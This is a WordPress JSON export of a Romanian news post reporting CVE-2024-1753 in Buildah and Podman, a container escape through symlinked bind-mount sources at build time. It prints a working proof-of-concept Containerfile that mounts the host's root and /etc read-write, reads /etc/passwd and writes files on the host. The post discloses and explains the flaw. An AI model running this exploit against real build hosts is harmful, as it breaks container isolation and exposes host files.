{"id":114412,"date":"2024-03-19T00:25:47","date_gmt":"2024-03-18T22:25:47","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/uyazvimost-v-buildah-i-podman-pozvolyayushhaya-obojti-izolyacziyu-kontejnera"},"modified":"2024-03-19T00:25:47","modified_gmt":"2024-03-18T22:25:47","slug":"uyazvimost-v-buildah-i-podman-pozvolyayushhaya-obojti-izolyacziyu-kontejnera","status":"publish","type":"post","link":"https:\/\/prohoster.info\/ro\/blog\/news\/uyazvimost-v-buildah-i-podman-pozvolyayushhaya-obojti-izolyacziyu-kontejnera","title":{"rendered":"Vulnerabilitatea din Buildah \u0219i Podman, care permite ocolirea izol\u0103rii containerului.","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

\u00cen pachetele Buildah \u0219i Podman a fost identificat\u0103 o vulnerabilitate (CVE-2024-1753) care permite accesul complet la sistemul de fi\u0219iere al gazdei \u00een timpul etapei de construc\u021bie a unui container rulant cu drepturi de root. Pe sistemele cu SELinux activat, accesul la FS-ul gazdei este restric\u021bionat \u00een modul doar citire. O solu\u021bie este disponibil\u0103 momentan sub form\u0103 de patch, care a fost acceptat cu pu\u021bin timp \u00een urm\u0103 \u00een baza de cod Buildah. <\/p>\n

Vulnerabilitatea este cauzat\u0103 de faptul c\u0103, \u00een timpul mont\u0103rii p\u0103r\u021bilor FS prin comanda \u201emount \u2014bind\u201d \u00een timpul construirii \u00een etapa RUN, argumentul cu directorul surs\u0103 (parametrul \u201esource=\u201d) nu este verificat pentru existen\u021ba sa \u00een FS-ul r\u0103d\u0103cin\u0103. Un fi\u0219ier de configurare Containerfile conceput de un atacator poate utiliza o imagine a containerului \u00een care directorul surs\u0103 pentru montare este creat sub form\u0103 de link simbolic c\u0103tre FS-ul r\u0103d\u0103cin\u0103. \u00cen acest caz, opera\u021bia de montare va duce la montarea FS-ului r\u0103d\u0103cin\u0103 al mediu gazd\u0103 \u00een interiorul containerului, ceea ce va permite, \u00een etapa RUN, ob\u021binerea accesului complet la sistemul de fi\u0219iere al mediu gazd\u0103 \u0219i organizarea ie\u0219irii din container \u00een timpul construirii cu comenzile \u201ebuildah build\u201d sau \u201epodman build\u201d. <\/p>\n

Exemplu de fi\u0219ier Containerfile mali\u021bios, construirea c\u0103ruia cu comanda \u201epodman build -f ~\/Containerfile .\u201d va duce la afi\u0219area con\u021binutului \/etc\/passwd \u0219i la crearea fi\u0219ierelor \/BIND_BREAKEOUT \u0219i \/etc\/BIND_BREAKOUT2 \u00een mediul gazd\u0103: FROM alpine as base RUN ln -s \/ \/rootdir RUN ln -s \/etc \/etc2 FROM alpine RUN echo \u201els container root\u201d RUN ls -l \/ RUN echo \u201eCu exploit-ul se va afi\u0219a root-ul gazdei, nu root-ul containerului, \u0219i se va crea \/BIND_BREAKOUT \u00een \/ pe gazd\u0103\u201d RUN --mount=type=bind,from=base,source=\/rootdir,destination=\/exploit,rw ls -l \/exploit; touch \/exploit\/BIND_BREAKOUT; ls -l \/exploit RUN echo \u201eCu exploit-ul se va afi\u0219a \/etc\/passwd al gazdei, nu al containerului, \u0219i se va crea \/BIND_BREAKOUT2 \u00een \/etc pe gazd\u0103\u201d RUN --mount=type=bind,rw,source=\/etc2,destination=\/etc2,from=base ls -l \/; ls -l \/etc2\/passwd; cat \/etc2\/passwd; touch \/etc2\/BIND_BREAKOUT2; ls -l \/etc2
\n
Sursa: opennet.ro<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

\u0412 \u043f\u0430\u043a\u0435\u0442\u0430\u0445 Buildah \u0438 Podman \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2024-1753), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0445\u043e\u0441\u0442-\u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u043d\u0430 \u0441\u0442\u0430\u0434\u0438\u0438 \u0441\u0431\u043e\u0440\u043a\u0438 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430, \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c\u043e\u0433\u043e \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 root. \u041d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0441 \u0432\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u044b\u043c SELinux \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0445\u043e\u0441\u0442\u043e\u0432\u043e\u0439 \u0424\u0421 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0440\u0435\u0436\u0438\u043c\u043e\u043c \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0442\u0435\u043d\u0438\u044f. \u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u043e\u043a\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e \u0432 \u0432\u0438\u0434\u0435 \u043f\u0430\u0442\u0447\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043c\u0438\u043d\u0443\u0442 \u043d\u0430\u0437\u0430\u0434 \u043f\u0440\u0438\u043d\u044f\u0442 \u0432 \u043a\u043e\u0434\u043e\u0432\u0443\u044e \u0431\u0430\u0437\u0443 Buildah. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u044b\u0437\u0432\u0430\u043d\u0430 \u0442\u0435\u043c, […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-114412","post","type-post","status-publish","format-standard","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47Vulnerabilitate \u00een Buildah \u0219i Podman, care permite ocolirea izol\u0103rii containerului | ProHoster","description":"\u00cen pachetele Buildah \u0219i Podman a fost identificat\u0103 o vulnerabilitate (CVE-2024-1753) care permite accesul complet la sistemul de fi\u0219iere al gazdei \u00een timpul etapei de construc\u021bie a unui container rulant cu drepturi de root.","canonical_url":"https:\/\/prohoster.info\/ro\/blog\/news\/uyazvimost-v-buildah-i-podman-pozvolyayushhaya-obojti-izolyacziyu-kontejnera","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"ro_RO","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Buildah \u0438 Podman, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043e\u0431\u043e\u0439\u0442\u0438 \u0438\u0437\u043e\u043b\u044f\u0446\u0438\u044e \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430 | ProHoster","og:description":"\u0412 \u043f\u0430\u043a\u0435\u0442\u0430\u0445 Buildah \u0438 Podman \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2024-1753), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0445\u043e\u0441\u0442-\u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u043d\u0430 \u0441\u0442\u0430\u0434\u0438\u0438 \u0441\u0431\u043e\u0440\u043a\u0438 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430, \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c\u043e\u0433\u043e \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 root.","og:url":"https:\/\/prohoster.info\/ro\/blog\/news\/uyazvimost-v-buildah-i-podman-pozvolyayushhaya-obojti-izolyacziyu-kontejnera","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2024-03-18T22:25:47+00:00","article:modified_time":"2024-03-18T22:25:47+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":[],"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/ro\/wp-json\/wp\/v2\/posts\/114412","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/ro\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/ro\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/ro\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/ro\/wp-json\/wp\/v2\/comments?post=114412"}],"version-history":[{"count":0,"href":"https:\/\/prohoster.info\/ro\/wp-json\/wp\/v2\/posts\/114412\/revisions"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/ro\/wp-json\/wp\/v2\/media?parent=114412"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/ro\/wp-json\/wp\/v2\/categories?post=114412"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/ro\/wp-json\/wp\/v2\/tags?post=114412"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}